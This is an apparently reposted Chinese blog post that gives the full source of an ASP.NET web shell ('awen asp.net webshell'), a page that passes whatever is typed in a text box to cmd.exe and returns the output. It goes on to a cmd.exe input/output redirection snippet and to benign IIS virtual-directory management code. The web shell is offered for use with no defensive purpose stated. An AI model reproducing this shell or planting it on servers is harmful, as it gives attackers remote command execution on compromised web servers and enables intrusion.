asp.net WebShell 文章1

来源:互联网 发布:linux 卸载程序 编辑:程序博客网 时间:2024/06/15 21:04
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="执行" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" onClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">输入命令:</asp:Label>
</form>
</body>
</HTML>
下面这段代码可以用于重定向输入输出
ProcessStartInfo si = new ProcessStartInfo();
si.RedirectStandardError = true;
si.RedirectStandardInput = true;
si.RedirectStandardOutput = true;
si.UseShellExecute = false;
si.FileName = @"c:/windows/system32/cmd.exe";
si.CreateNoWindow = true;
Process p = new Process();
p.StartInfo = si;
p.Start();

StreamWriter sw = p.StandardInput;
sw.WriteLine("dir");
sw.WriteLine("exit");
StreamReader sr = p.StandardOutput;
string str = sr.ReadToEnd();
Console.Write(str);
p.WaitForExit();

如何操作虚拟目录
//假如虚拟目录名为"Webtest",先在项目中引用
//System.DirectoryServices.dll,再

using System.DirectoryServices;
protected System.DirectoryServices.DirectoryEntry dirroot;
1、添加新的虚拟目录
DirectoryEntry newVirDir = dirroot.Children.Add("Webtest","IIsWebVirtualDir");
newVirDir.Invoke("AppCreate",true);
newVirDir.CommitChanges();
dirroot.CommitChanges();

2、更改虚拟目录属性
//虚拟目录的属性较常用的有:AccessRead,AccessWrite,AccessExecute,AccessScript,DefaultDoc,EnableDefaultDoc,Path等

DirectoryEntry Dirport = dirroot.Children.Find("Webtest","IIsVirtualDir");
Dirport .Properties["AccessRead"][0] = true;


3、删除虚拟目录
DirectoryEntry Dirport = dirroot.Children.Find("Webtest","IIsVirtualDir");
Dirport.Invoke("AppDelete",true);
dirroot.CommitChanges();
或者:
object[] part = new object[2];
part[0] = "IIsWebVirtualDir";
part[1] = "Webtest";
dirroot.Invoke("Delete",part);
dirroot.CommitChanges();
原创粉丝点击